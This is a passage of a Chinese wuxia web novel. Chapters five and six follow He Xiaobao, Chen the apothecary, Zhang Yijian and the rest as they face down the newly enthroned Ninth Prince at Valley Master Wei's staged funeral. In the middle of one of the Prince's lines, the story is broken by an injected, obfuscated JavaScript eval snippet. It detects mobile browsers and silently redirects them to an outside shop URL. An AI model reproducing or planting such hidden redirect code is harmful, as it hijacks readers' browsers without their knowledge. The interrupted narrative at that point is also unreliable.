在野店的这些年,何小宝真正爱上了这种“人在江湖”的感觉,那些来来往往的武林人士,那些稀奇古怪的藏品物件,那些神秘诡谲的传说故事,吸引着他一步步成为了现在的野店店主。 “或许他不是为了除掉你。” 晨药师看完了所有飞鸽传书,开口道:“如果真的想除掉你,又怎么会允许这一封接着一封的密信送到你手上呢?而且这密信的私密程度,就像跟在九王爷身边的人写的一样,如果九王爷真的要除掉你,又怎么能允许这样的人存在,还频繁给你报信呢?” “晨说得对。”张一剑也赞同晨药师的想法,“就像你说的,你是他了解武林、控制各门派的一个途径,他现在希望你只是一把能够回收的钥匙,而不是一柄调转锋口对准他的剑。” “他在给你机会。”晨药师拍拍何小宝的肩膀,“这次他明显不是冲着你来的,你暂时避一避也好,等这次危机过去了,你再好好想想自己以后该怎么走也不迟。” “避?”何小宝走到窗口,抬头望着深蓝色的夜空。 这片星空是他最喜欢的,不管是从前在宫中,还是在野店,只有这片天不会被四四方方的墙困住。 离宫在外多年,他早就融入了这片天,融入了偌大的江湖。 “避什么避!避什么避!” 大神探一拍扶手从椅子上跳起来,“那小皇宫有什么可眷恋的,还有你那群没什么感情的亲戚,成天不是杀你就是害你,那地儿值得犹豫吗?至于你那个爹更多余关心,就算你回去也轮不上在他面前尽孝道,他身边那太医侍卫都伺候得好好的,掉根毛你在外面都能知道!” “让他自己决定吧。”张一剑拍了拍大神探的肩膀,“虽然大家可能都睡不着,但明天是场硬仗,为了我们的武林还能继续存在,我们必须养精蓄锐。” 说完就拉着大神探走了出去。 剩下晨药师和何小宝在前厅里,相对沉默半晌。 “抱歉。” 还是何小宝先开口打破了这份安静。 是谁这么多年都在魏谷主身边用慢性毒药控制他,此刻已经不需要抓到那个下毒的人,背后始作俑者的身份,大家都已经心知肚明。 恐怕那个小云也是不经意间察觉了下毒人的身份,遭遇了无妄之灾。 “都是上一辈的恩怨。”晨药师是他们这些人里最想得开的。在这之前,他甚至已经接受了是云烟杀死的他的父亲。 以前他觉得,将亲情和理智割裂开是一件很难的事情,可当他听到自己父亲去世的消息的时候,就好像一把剑从上面直直劈开了纠缠着的藤蔓一样,虽然疼,可也再也不用烦恼是否需要“大义灭亲”这个难题,对他来说又怎么不是种解脱呢。 “你离不开这个江湖。” 晨最后留下一句话,离开前厅,出去的时候他抬头看了眼这片星空——他们这群人要守护的这份自由,他私心希望,能有何小宝的一份。 —————— 已是凌晨,一道消瘦的黑影在谷中穿梭,预备靠近两山之间的那条铁索的时候,突然被人叫住。 “喂,上来聊聊吗?” 那人顺着声音的方向看过去,坐在房顶上的少年侠客双手抱剑,高马尾在夜风中微微起伏。 “我以为你不会想和我说话。”那人走出阴影,露出一张清丽的脸庞。 “今夜之后,一切还不知该往哪个方向走。”张一剑看向星空——他曾经看过更美的星空,那是在野店的楼顶——那是独属于大漠的瑰丽与神秘。 在看星星的时候,他常常觉得自己十分渺小,仿佛在浩瀚宇宙的衬托下,身边的一切有形之物都如尘埃般不值一提,可宇宙又会放大所有情感,爱、恨……这些可以比宇宙的边界还要宽广—— “我欠你一句对不起。” 鸥拂尘跳上房顶,在他的旁边坐下。 “我知道这句对不起换不回你的任何家人,但我不知道还有什么可以和你说。” 微风吹过,两人之间隔着一道熠熠闪烁的银河。 “所以就不要说道歉的话了。”张一剑微微垂眸,“苍鹰派到底也是参与了当年剿灭七毒教的行动,可再往上找,我的父母也是受人挑拨——罢了,让仇恨在我这里停止吧,就算哪天我下去,见到我的父亲母亲,见到苍鹰派的前辈,也只让他们怪我一个就好了。” 他看了鸥一眼,一年没见,她似乎比以前瘦了许多,眼下泛着淡淡的乌青,仔细看脖颈处的血管,竟然也有黑色在隐隐流动。 张一剑抽出一根丝线,“咻”的一声破空,丝线的另一端缠在了鸥拂尘的手腕上。 他点了点丝线,眉头紧皱。 “你的身体到底是怎么了,这才一年,怎么糟蹋成这样?” 张一剑只是会一些粗浅的医术,就他这个水平,都能诊出她的身体已经油尽灯枯。 他脑中灵光一闪,突然想到什么。 “是寄虫,是不是?” 5. 第五章:书接上回 寄虫是七毒教的圣物,只有七毒教的圣女可以驱使,以自己的血喂养数十年,只为能寄生他人身体以供圣女驱使。 人们现在只知寄虫可以寄生在别人身上,可若是将寄虫强行收回,对圣女是否又有影响? “其实这个寄虫……”鸥拂尘微微垂眸,“我也是第一次用,它进入人的身体后,会逐渐控制他的思想和身体机能,寄虫在寄生人身体里时间越久,我对他的控制也就越强,同时对寄生人的身体破坏也就越强,所幸取出的时候,时间还不长,他经过简单的调理,身体还可以恢复。” “那你呢?” 张一剑听了半天,全都是“他”,一句“我”都没有。 “我已经活了一百零二岁,很久了。”鸥拂尘没有正面回答张一剑的问题,而是抬头望向星空,“我在这个世界上我没有亲人,没有仇人,没有朋友,事了拂衣去,轻轻松松还是一个人,多好。” 她深吸一口气,一仰头,长发散落在风中。 “所以——”她转头看着张一剑,“不用问我身体怎么样,问一个一百零二岁的老人身体如何,是没有意义的。” 她朝张一剑扔过去一样东西,张一剑下意识抬手接住,仔细一看竟然是一本医书。 “你看这个。” 张一剑翻了翻,问:“《七脉要略》,这是魏谷主销量第一的医书,给我这个做什么?” “这是我写的。”鸥拂尘顿了一下,“我指的是字。” 张一剑想起那张在山洞外发现的字条,晨当时一眼便认出,那字条上的字虽然像他爹的自己,可字的力度过猛,像练武之人所写。 “你在模仿魏谷主的字?”他又观察了一下手里这本书上的字迹,“已经十分像了,如果不是你告诉我,我根本看不出。” “那就好。”鸥拂尘点点头,“我今天来,是想和你合作。” “合作什么?” “明天与九王爷对峙,你们需要一个帮手。” “是锦上添花,还是决定性的帮手?”张一剑听了她的话,微微眯了眯眼。 “当然是决定性的。”鸥拂尘微笑道。 “可是最能在武林众人,甚至是文武百官、朝廷官兵面前当定海神针的那个人,已经死了……”张一剑突然猜到什么,脸色逐渐冷峻,“你是准备——” 见他明白了,鸥拂尘点头:“只不过容易有破绽,时间不宜太久,所以我需要有人在现场配合我的行动,一旦有临时状况出现,也好随机应变。” 张一剑盯着她看了半晌,扭头不看她,咬着后槽牙:“你想错了,这只是锦上添花。关于这场和九王爷的对峙,我、何小宝和晨药师从一年前就开始筹备,你和他原本都不在我们计划之内。这次有我们事先的准备,九王爷的阴谋必不可能得逞。” “必不可能吗?不见得吧。” 鸥拂尘看向远方,“小祈那孩子腿脚再快,难道就能如你们所想,那么顺利地把丐帮众人带到这里吗?就算不是决定性的,甚至不是锦上添花,你就当是——打补丁吧,明天配合我演一出戏,可以吗?” “你还有什么目的?”张一剑沉默半晌,“别误会,没有怀疑你的意思,只是做戏也要提前排练,你把你的目的说出来,我也好配合你。” 鸥拂尘朝他努努下巴。 他手上的医书往后翻了几页,逐渐露出一些其他内容。 张一剑一一读完,缓缓合上书页。 他站起来,朝鸥拂尘的方向伸出拳头。 鸥拂尘仰头看着他,抬手攥拳,和他轻轻碰了一下。 “合作成交。” 第二天一早,为魏谷主准备的送殡仪式照常举行。 晨药师作为少谷主,穿着一身素衣站在大厅的正中,旁边是魏谷主的遗孀,同样身着缟素的谷主夫人。 药童和侍从捧着魏谷主的画像和衣物随在棺木的两侧,台前已经供上了各种法器和香炉。 前来参加送殡仪式的各派代表都已经被通知到谷内今日将有事关生死存亡的大事发生,晨药师也为他们提供了谷内的暗道以供躲避,可大家纷纷表示,越是危难,越是要团结,各门派愿意暂时搁置纷争,和药王谷站在一起,共同抵御外敌,渡过难关。 山雨欲来风满楼。 此刻外面晴空万里,可屋内的每个人内心都十分忐忑不安,有甚者握剑的手都在颤抖。 等待浩劫到来的过程相当煎熬,可晨药师却仍有条不紊地主持着整个出殡仪式。 “宾客送行——” 众人接过侍从手里的香,一一走过棺木前,为魏谷主道别。 “礼成,吉时到,起灵——” “孤还没有和老友送别,怎么能算礼成呢?” 厅外传来一道低沉的男声,紧接着是一阵急促的脚步声,等众人顺着声音看过去时,整个前厅已经被士兵包围,穿着锦衣华服的男人在众人的注视中走了进来,跨过门槛,束手在门前站定。 “大家好啊。”那人环视一圈,嘴角微微上扬,“江湖有江湖的规矩,今天孤不请自来,大家就不用跪了。” 是九王爷—— 所有人心里都闪过这四个字。 不,现在,应该称呼他皇帝陛下了。 比起许多皇亲贵族,九王爷算是江湖上比较有名的皇亲贵族了,相传他是个闲散王爷,喜欢琴棋书画多过纵横捭阖,和甄武林、魏谷主交好,却只是保持良好的私人关系,从不插手江湖中事。 当然,那都是在他登基成为皇帝之前。 一夜之间,皇城之内变了天,而嗅觉敏锐的人也已经闻到了这从宫墙内弥漫出来的肃杀气息。 出殡前早些时候,各大派的来吊唁魏谷主的使者不约而同地纷纷聚在了晨药师休息的院落里。 寅时一到,晨药师拉开房门,看到的就是一群人站在自己院子里,全都转头看向他的场景。 “晨少谷主。” 开口的是山海派的长老,也是看着晨从小长到大的前辈。 他先是叹了口气,然后缓缓说道:“恐怕此次将会是我们武林面对的最大的一场浩劫了。” 另一个年轻人可没有那么多耐心,上前一步说道:“我们在周围查看过,军队已经在药王谷的外围扎营,看人数足足有万人那么多,现在别说是人,就算是苍蝇,恐怕也没办法飞出这个包围圈。” “太绝了。”长老敲了一下手杖,在地面发出一声闷响,“九王爷这是要赶尽杀绝吗?” “依我看,他就是想让整个武林臣服于他。” “卑鄙!他太异想天开了,大不了我们鱼死网破和他拼了!” “大家稍安勿躁。” 看大家七嘴八舌,愤怒都写在脸上,恨不能现在就冲下山和军队拼个你死我活,晨药师只得开口,暂且稳住大家。 “不瞒大家,今天的情形,晚辈和山海派的张掌门在一年前就已经预料到了,只是没想到他会在我父亲谢世这个时间点向大家发难。这一年晚辈和张掌门也做了很多准备,此番和他较量,实属突袭,但所幸有众位各门派的英雄豪杰在此,我想我们和他此刻对上,并不是必输的局面。” “你有什么打算?”山海派的长老问道。 此刻他们大多数人都是第一次来药王谷,人生地不熟,自然是不可能想得出比药王谷的少谷主更好的计划。 “大家都是来吊唁我父亲的,虽然人数不多,但你们的背后都是江湖上有实力的门派,九王爷要是真的一口吃掉我们,众位的师门也不会坐视不理,他初登基的皇位也不可能稳固。”晨药师冷静地说道,“我想他此行的目的,是为了让我们成为他的人质。” “人质?”长老眉头一皱,“那他想要什么?” “他想要的东西,是至高的权力。”众人背后,张一剑的声音传来,大家闻声望去,纷纷让出一条道路,让张一剑、何小宝和大神探三人走了进来。 “人一旦对权力有了贪念,这种贪念就会无止境的膨胀,他从始至终,他的目的只有一个,为了达成这个目的,他要让武林成为他的一柄利剑,剑尖的指向——”张一剑顿了一下,“他早已垂涎三尺的湖国、南国及木兰国。” 众人面面相觑。 “没想到九王爷的野心竟如此之大。”长老叹了口气,“我们生活的这片土地是多么辽阔,湖国、南国、木兰国,沙漠的那边还有我们没有探索过的国度……有朝一日,他征服了土地,是不是还要征服海洋?”他停了一秒,抬头看着天空,“如果实在是不能阻止,那么我们只能——” “您别说灰心的话。”张一剑连忙打断他,“他新登基,根基不稳,骤然离宫,变数很大,我们对上他们很有胜算。” “恐怕他的雷霆之威早已平定了皇宫内乱。”长老看向众人,“我们虽然自诩江湖上的名门正派,但师门上下加起来,恐怕也才几千人,更何况今天在这里的只有数十人,如何与上万士兵对抗?我现在担心的不是里面,我们这些人尚可自绝以示反抗,可外面的师门就……” “您放心,我们不会有事,外面也不会。”张一剑看向晨,晨点了点头。 “稍后送殡仪式正常进行,大家只需在九王爷到来的时候,稳住心神,拿住气势,其他的,就交给我们。”晨药师眼神坚定,“我向大家保证,江湖,以后还是江湖人的江湖。” 回到现在。 大厅里,魏谷主的棺木放在正中,晨药师站在人群的最前方,各门派英雄豪杰分站两侧,他们谨记之前商量好的,每个人脸上都挺直了腰杆,或面沉如水,或面带敌意,或傲慢地抬起下巴,总之没有一个人有下跪的意思,也没有人把他这个皇帝陛下放在眼里。 九王爷环视一周,似乎也觉得这样的场景有点意思,低头一笑。 “不用这么如临大敌,我只是来拜祭我的老朋友,给他上一炷香。”说着,他就施施然走上前。 他身边没有一个人,所有随从都被留在了门外。 有人想要趁机动手,也被长老用眼神阻止。 对方既然还没有展露出他真实的意图,他们更不能主动动手落人口实。 九王爷走到香案前,微微朝晨药师颔首:“你都长这么大了,上次见你的时候,你还没有我的膝盖高。” “我替父亲向您回礼。”晨药师递上线香。 九王爷看着棺木前的画像,那张年轻的脸和面前的晨药师并无二致,这张脸他看了二十多年,从一开始几人的相遇,到相伴出游,相互帮助、相互防备、相互算计—— 现在尘归尘,土归土,老友已经去了两个,从今往后,他孤单一人站在这高位之上,再无阻碍。 也再无朋友。 “莫愁前路无知己,天下谁人不识君。” 九王爷将香递给晨药师,由晨药师帮他插在香案上,自己则是感慨道,“魏兄这么多年济世救人,想必谢世之后也会化作药神,与天上诸神一并继续保护我大芒国国泰民安、风调雨顺。” “哼,有你,芒国怎么可能国泰民安!” 人群中不知道是谁说了一句。 九王爷面色未变,只是眼神微微变冷。 “贵人驾临寒舍,能为父亲上柱香,已经是药王谷的无上光荣,还请贵人在正殿休息,待我和其他客人将父亲安葬之后,再来招待您。” 晨药师说完便做了个请的动作。 只是九王爷就像没听见,没看见一样,自顾自地走到前厅的中央,他身上的佩环叮咚作响,紧接着门外冲进来一队人,举起手中的武器,对准了房间每个人的脸。 “是火铳。” 大神探眉头一皱,“想不到九王爷竟然掌握了火铳量产的技术,难怪他有恃无恐。这种火器威力极强,这里空间狭小,纵然有多好的功夫,恐怕也逃不过火铳的枪口。” “陛下这是什么意思?” 晨药师也丝毫未乱,这里毕竟是药王谷,既然能放他们进来,他必然也是做了准备。 话音刚落,就看见围在房间周围的火铳手一个个纷纷扶着脑袋,原地晃了几下之后就晕倒在地,张一剑趁机指挥苍鹰派的人上前,将他们的火铳全部收走。 九王爷拍了拍手,欣赏地看着他:“不愧是药王谷的少谷主,不仅医术高明,下毒也是一流。” “只是简单的瘴气。”晨药师回答道,“陛下怕是多年未来药王谷,忘记了药王谷从前也是瘴气笼罩,进出也需要服用汤剂才可以。您和父亲多年交好,想必早就不会受瘴气侵扰,可他们就不一样了。不过您也不用担心,他们只是四肢无力,脑袋昏沉,只要出了药王谷,就会康复。” “帮主!” 话音刚落,刚才协助把火铳队拉出去的苍鹰派弟子冲了进来,小跑到张一剑跟前,说道,“刚才那些火铳士兵突然醒了,打伤了我们几个弟子跑了。” “那些火铳呢?”张一剑问。 “检查过了,里面没有火药。” 晨药师猛然看向九王爷。 “开个小玩笑而已。”九王爷双手拢在身前,“想不到这么多年了,少谷主也只学到了瘴气这招,可怜我那魏兄,自己聪明一世,却教出来个笨儿子。” “是啊。”站在一旁一直一言未发的何小宝突然开口了。 他冷冷地盯着九王爷的脸,语气带着几分讥讽,“九王爷这么雄才伟略的大人物,儿子一定也英武不凡,是你的左膀右臂,未来也必然会是朝堂之上的栋梁吧。” 九王爷看着他,嘴角的笑容渐渐隐去。 “听闻九王爷的儿子也和九王爷年轻时候一样,不喜欢过问政事,平日神龙见首不见尾,九王爷难道不担心,您的儿子日后也会像您一样,弑父杀兄——” “混账!” 九王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437197|141479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷眼中闪过愤怒,抬手便想要给他一耳光,却被何小宝那倔强的眼神震慑住,迟迟没有下手。 “呵,不过九王爷大可不用担心。”何小宝却毫不害怕,而是走出人群,缓缓说道,“听闻九王爷的儿子早些年在游历江湖的过程中,已经出意外去世了,我想他一定也能会化作一个什么神,与魏谷主一起继续保护我大芒国国泰民安、风调雨顺。” 如此明晃晃的嘲讽,现场所有人听了,都忍不住屏住呼吸。生怕下一秒九王爷就当场发作,让火铳队或火炮队进来,一炮把他们全都轰成碎片。 可九王爷的反应却让在场众人都有些奇怪。 他并没有愤怒。 相反,他的脸上浮现出了一种,近乎悲悯的神情,就好像何小宝的话戳中了他脆弱的痛点似的。这种表情就算是在刚才给魏谷主上香的时候,都没有出现过。 “孤明白了,何老板。” 九王爷沉默半晌,再开口的时候,面上已经恢复了一开始的冷漠与淡然。 而这声“何老板”,也正式宣告了两人之间那面无形的墙已经不可能打破,父子终将走向对立。 知道内情的晨药师、大神探和张一剑纷纷看向何小宝,而张一剑甚至已经走到了何小宝身侧,警惕地看向四周,一只手握上了腰间的剑柄。 九王爷注意到了张一剑的动作,微微垂眸:“张掌门和何老板真是兄弟情深,这让孤忍不住想起了从前和魏谷主、甄掌门大家纵情山水,那时候也曾彼此立誓,要一起守护芒国,一起守护彼此。可没想到,时移世易,人性也会改变,甄武林终究口口声声家国大义,没想到却是个为了一己私利,道貌岸然之人……” “如果甄武林是个道貌岸然的骗子,那么,陛下又何尝不是呢。” 突然一道熟悉的声音响起。 众人一惊,晨药师更是震惊,甚至后退了一步,后腰撞到身后的棺木,手背贴上柳木表面,被冰凉的触感吓了一跳,瞬间缩回手。 众目睽睽之下,魏夫人搀扶着一个人从侧室走了出来,而那人,赫然就是已经宣告死亡的魏谷主! “让各位受惊了,是在下的不是。” 魏谷主的声音听上去有些嘶哑,人看上去也比之前瘦了一圈,后背微微佝偻着。 足可见即使没死,他的身体情况也已经大不如前。 张一剑搬来了椅子,魏谷主在夫人的搀扶下坐下。 晨药师在一旁神色复杂,他看着魏谷主的头顶,双手微微颤抖,他不敢出声,怕一开口就暴露一切。 “让大家为我专程跑来一趟,真是抱歉。”魏谷主虚弱地抬起头,看着面色阴沉的九王爷,“可如果不是这样,又怎么能让大家看到真相呢?” “真相?”九王爷突然笑了,仿佛听到一个天大的笑话,“有人会在乎吗?” 江湖和朝廷,仿佛是天然的对立面,就像一幕戏中,没有人会好奇为什么反派会出现在现场一样。 那些从古至今,从话本到史书,处处充斥着的阴谋论,已经让大家无所谓什么真相——可能如果今天就九王爷只是单纯来拜祭魏谷主,这件事才惊讶到所有人。 “与陛下无关。”椅子上的魏谷主微微摇了摇头,“是在下和甄武林这些年借诛杀邪教之名铲除异己、霸占各门派秘籍,妄图成为武林霸主的真相。” 他的语气太过云淡风轻,以至于此话一出,全场一片寂静。 大家都沉浸在消化这句话的状态中,诡异地没有一个人在这时候发出一点声响。 “哦?”九王爷饶有兴致地抱起手臂,“所以你死而复生,演这出戏把所有人哄骗到这里,是为了把你自己的恶行昭告天下吗?” “恶行?”魏谷主也跟着笑了,“在下比陛下要诚实一些,在下不会因为站在武林的对立面,就把自己的所作所为说成‘恶行’。若连在下自己都认为所做之事是恶行,又怎么会一做就是二十几年呢?” 在场的其他人已经被发生的事情弄得昏了头脑。 他们原本就是为吊唁魏谷主而来,药王谷魏谷主少年成名,行医四十年,广收徒,治百病,每年坚持把自己研究的新医法、药理编纂成册,公开发行,就算是将死之人送到这里,他都没有放弃过救治。 也就是因为这样,比起武功高强的甄武林,魏谷主才是让大家真正信服的那个人,当年山海派的郝掌门去世,也是在魏谷主的一力保荐之下,大家才接受了甄武林继承山海派掌门。 其实自从甄武林去年武林大会意外被杀之后,江湖上就一直有流传出一个说法,说以前被甄武林灭掉的那些邪教其实只是一些比较低调的小门派,而甄掌门每次都是为了抢夺他们的武林秘籍,灭门更是为了不留活口,不会招致他们的弟子和门人报复。 这其中的大部分,都是甄掌门为了掌控武林铲除异己,蒙骗其他门派一起做的,只有七毒教,因为是九王爷亲自吩咐,所以魏谷主只好亲自出手,从云烟这个突破点下手,才一举将突破七毒教,拿到了寄虫,并让整个七毒教灭门。 这些桩桩件件,要数起来,恐怕要吊在城门上才能说得完。 “当年从七毒教拿回来的寄虫,它的驱动方式、效果,我并非完全不知。这东西威力巨大,能够操控别人的心神,而且一旦进入人的大脑,就能够无限繁衍,如果操控得当,甚至能够控制整个军队——” 魏谷主的话说到这里,眼前九王爷的眼神闪烁了一下,而现场也有人倒吸一口凉气,发出惊讶的感叹。 “——可这些,都是假的。”魏谷主微微一笑,“七毒教的毒术并不高明,为了保护自己,她们隐居在人迹罕至的山谷中,而寄虫只是一种并不怎么高明的蛊虫,它确实可以控制人的心神,但寄虫对人体的伤害非常大,一旦侵入大脑,就会疯狂繁衍,被控制的人会在三天之内被掏空而死,在它身体里的子虫,因为没有养分,也会跟着寄生的身体一起死亡。” “而最苛刻的条件,莫过于只有七毒教的圣女才可以控制寄虫,而释放寄虫时,也需要被寄生的人对圣女……”魏谷主顿了一下,“……毫无防备。至于控制军队的传言,据我了解,那只是当年一个从七毒教逃出去的叛徒,为了报复七毒教而编造出来的流言罢了。” “呵。” 九王爷嗤笑一声,下一秒,忍不住仰天大笑,“原来如此,我追逐的,只是个流言,哈哈哈哈……” “王爷。”大神探开口道,“其实要我说,咱们芒国现在国富民强,名将又那么多,兵强马壮,如今又边关安定,我看您根本就用不到寄虫这东西,费心巴力地搞来,还为了这个把人家一个无辜的门派直接灭门,您就不怕到时候江湖上的人都反了您,直接来个内忧外患,情况比现在更糟糕吗?” “边关安定?”九王爷收起笑容,目光再次落在何小宝身上,“边关是否安定,何店主和张掌门恐怕比我更清楚。” 6. 第六章:书接上回 九王爷面色凝重,微微叹了口气:“事到如今,孤也不瞒着诸位。芒国看似风平浪静,朝堂上却内忧外患。先帝在位时,偏信方士、沉溺后宫,边关告急战事一触即发,战报一封一封雪花似的往宫里送,可先帝就是不管不问,任由奸臣克扣军饷,把良将调离前线——” 他深吸一口气,气息微微颤抖,“孤,是渴望权力,可也确实是不忍看着芒国就这么毁于一旦。如今朕初登基,能想到的,只有各位。” 他看向大家,第一次低下了他高贵的头颅。 “所以孤未带兵器,今日一人站在这殿中,是真信得过在前任甄掌门和现任张掌门统领下的各大门派,虽然有江湖争斗,但面对外敌的进犯,依然可以暂时搁下朝廷和武林的争端,于危难之际,助芒国一臂之力。” 这。 众人面面相觑。 已经有人被九王爷这番话打动,脸上出现犹豫动摇的神色。 “九王爷求人的诚意,就是带着大军将我这小小药王谷围个水泄不通吗?” 魏谷主眼中露出一丝讥讽,“据在下所知,朝中最骁勇善战的两位将军,撒将军和乔世子都尚在边关驻守,即使内忧外患,也不至于到撑不下去,需要皇帝陛下亲自低头的程度。” “这样打一棒子还给个甜枣的好手段,我劝陛下还是省省吧。”大神探抱着手臂,站在一旁附和。 “孤也是为了边关的安定——” “边关安定不在于武林是否臣服于陛下,而在于国库是否充盈,民心是否稳固,陛下是否治军有方——” “放肆!” 何小宝话音未落,就受到九王爷怒斥。 他的脸上浮出一丝悲悯:“所有人都说得,只有我说不得是吗?陛下,您忌惮的究竟是各门派,还是怕有一天真的局势动荡,自己也会落得和先帝一样的下场,被您流落在外面的儿子取而代之呢?” 九王爷定定地盯着何小宝的眼睛,想从他的眼底挖出一丝野心,这样他就可以名正言顺地继续实施自己的计划。 只可惜那双明亮的眼眸如今被雾气笼罩着,有悲伤、痛苦、失望,唯独没有嫉妒、渴望和算计。 “呵……” 半晌,他咬着牙开口:“何店主说笑了,孤哪有什么在外面的儿子,若真有那么一天,无论是被敌军入侵还是被百姓起义,那都是孤治国无妨,孤愿意以死谢罪,孤的子女从小受到百姓的供养,自然也应如此。” 何小宝一怔,随即如同入魔一般,整个人僵在原地。 “应如此,应如此……” 正在殿内气氛僵持之际,殿外突然传来一阵喧闹声。 众人朝窗外一看,只见一群白鸽朝着他们的方向飞过来,守在周围的士兵搭弓便射,一阵凌乱的翅膀拍打声过后,还是有漏网之鱼飞了进来,抓住机会将羊皮卷丢了下来,张一剑一个凌空,将羊皮卷稳稳接在自己手里。 羊皮卷上画着一支二月兰,何小宝一眼,就认出了这是蓉小乞的画风。 几人眼神交流,张一剑立刻打开羊皮,看到羊皮上书写的内容后,旋即眉头舒展开来。 而后又听见门外传来一阵士兵的惨叫,乱成一团,九王爷大步走到殿门口,刚抬起脚准备跨出殿门看看是什么情况,就被飞进来的一个士兵吓了一跳,向后趔趄了一步。 还是旁边不知道哪门派的人搭手扶了一把,才稳住身子。 那士兵是被人一脚踹进来的,起身之后看到九王爷,连忙翻身跪在地上:“陛下!外面突然闯进来一群乞丐,他们招式古怪,打得奴才们猝不及防!” “什么乞丐?”九王爷眉头一皱,走回大殿中央,转头看向坐在椅子上的魏谷主,“谷主,药王谷怎么会有乞丐?” “天下的财富是恒定的,这药王谷里富贵的人突然多了,乞丐自然也就突然多了。”魏谷主倒是好整以暇,“倒是陛下不是应该反思一下,为何被官兵重重围困的药王谷,竟然可以闯进乞丐吗?” 下一秒,更多士兵的惨叫声传来,随后一道敏捷的身影从窗口跳了进来,几下便到了殿中。 还没站稳,就因为腿软,一把扶住了椅子扶手,才没摔得狼狈。 “哎呦——” 那人一抬头,先是对上了魏谷主看下来的眼神,愣了一下,随后才慌忙别开视线,在大神探的搀扶下站了起来。 “你回来了!”大神探高兴地拍拍她后背,“累坏了吧,来来来赶紧先坐下歇歇。” 说着就要去搬椅子。 那人连忙制止了他,忙不迭从袖袋里取出一封信交给了一旁的晨药师。 “多亏你们部署,还有个意外收获。” 来人正是星夜兼程的蓉小乞。 “有无受伤?”何小宝连忙拿出绢帕,沾了水细细擦着她脸上的灰尘,“可是刚才在外面打架受伤了?” “没有。”蓉小乞缓了缓神,自己能站住了,她笑了笑,用袖子抹了抹脸,“跑得太急,外面人又多,不小心被人挤到花坛里了。好在能按时完成任务,把人都带来了。” 说完她还小声在何小宝耳边吐槽,“九王爷手底下的兵真是些草包,怪不得他想借各门派的高手去打仗,靠他这些兵,连他自己都保护不住,若是有人想要刺杀他……啧啧。” 何小宝给她擦脸的动作顿了顿。 蓉小乞没看出他的不对劲,只是冲着九王爷一扬下巴:“你也是当年杀害我爹的共谋之一,要不是看在——各位英雄好汉的面子上,刚才我直接就杀了你报仇了,记着,你欠我一条命!” 九王爷脸色铁青看向张一剑:“张帮主可否为孤解释一下这场闹剧究竟是何意?” 张一剑一扬手,将手里的羊皮卷扔了过去:“九王爷担心的边关压境,如今危机尽解,这位丐帮的蓉少侠不计前嫌,日夜兼程,带领丐帮的英雄好汉们前往边关,烧了敌军的粮草,还活捉了敌军将领,逼他签下降书。” 九王爷立刻打开羊皮卷,上面清楚记录着敌军是如何被丐帮偷袭劝降的过程,末尾还有部族的盖章。 晨药师合上降书:“三年,足够您肃清内患,强兵备战了吧。” “真是好本事……”九王爷手指微微紧攥,嘴角上扬。 孤,好像更不能放过你们了呢。 九王爷在殿中看着羊皮卷沉思,他手下的士兵也收到最新的军情,正向他小声禀报。 何小宝半跪在椅子边,用晨药师配好的药包贴在蓉小乞的膝盖上,两只手按摩着她小腿上的筋肉,一边揉还一边轻声问她来往有没有受伤,哪里还不舒服,一副不值钱的样子。 丐帮的郝长老站在一旁,和张一剑汇报着这几天他们的成果。 “……不是说好只烧粮草吗,怎么搞出这么大动静?” “自从一年前您下令让韬光养晦,兄弟们练武都是偷摸着,好不容易有一次大展拳脚的机会,还是保家卫国,各个都疯了似的嗷嗷往前冲,要不是之前嘱咐了不能伤人性命只烧粮草,恐怕被占了的那几座城都能打回来。” “有无兄弟——” “放心,我们事后统计过,冲得太猛,被石头绊倒十七人;误入民居被打出来五人;被自己人误伤两人,其余的都没事。” “那就好。”张一剑松了口气,小声说,“让你们烧粮草就是为了别暴露自己的实力,你看看刚才九王爷那眼神?伤情报告重新写一份备着,等今天这事儿结束之后给我,我给御前递上去,也好有个交代。” 郝长老比了个大拇指:“还是你想得周到。” 一开始的剑拔弩张,似乎随着雪花般战报的袭来,多出了略微能喘息的时间。 晨药师得空去了一趟药房,除了拿了点活血化瘀抗疲劳的药给蓉小乞,还在密室里取了些别的东西。 回到前殿,众人自然分成几拨各自忙活着,他将药包给了何小宝之后,就走到了棺木旁的椅子边,手略微抖了抖,将袖袋里的白瓷瓶递给靠在椅子上坐着的人。 “这……” 一旁的魏夫人看到晨药师手里的瓶子,惊讶道,“晨儿,这药可是——” “他身子不适,先服药要紧。”晨药师蹲下身,递上水和药。 “药一直放着不用,就和灰尘没有区别。” “少谷主。”“魏谷主”抬手,将他递过来的药轻轻推了回去,“此药珍稀,且也不是能医所有病,我自己的身子自己清楚,这药用在我这儿是浪费了。” 魏夫人接过药瓶,主动取了药倒在帕子上,递给“魏谷主”:“这药能疏通经络,压制浊气,是调理内伤的好药,就算不能起死回生,吃了好歹舒服些。” “谢夫人。”“魏谷主”看着魏夫人,笑了笑,“想我初次见夫人的时候,已是许多年前,那时夫人还小,是怕蛇的年纪。” 魏夫人听到蛇,先是一怔,随后仔细回想童年旧事。 “小时候确实被蛇吓过一次,当时和爹一起外出,幸得一路过的女侠相助。”魏夫人的眼神温柔许多,“没想到竟然是你。” 云烟的事,晨药师前几日曾和魏夫人提起,魏夫人这么多年也只知道七毒教被灭门,可却不知道自己的丈夫竟然还和七毒教圣女有过牵连,甚至还是灭门的元凶之一。 对于眼前这个女子和她背后已经没了的七毒教,自己还是有些愧疚的,尤其是得知她将本放在自己儿子身上的寄虫强行取出,她跟着丈夫一起研究寄虫多年,虽然未能操控寄虫,但也能想到这对她的身体究竟有多大。 因此当她在仪式开始前找到自己,并将自己的计划坦言相告的时候,魏夫人也只是思索了片刻,便同意和她一起演出这出戏。 人既然生前犯下伤天害理的罪过,死后的名声算得了什么?以灭门无辜门派换来的药王谷的安定,沾满了七毒教人的血,魏夫人自觉享受了这份安宁,也明白自己该承担弥补的责任。 她甚至庆幸鸥拂尘愿意向她开这个口,让她有机会能做些什么。 “这药说什么你也得收下。”魏夫人将包着药丸的手帕塞进她的手里。 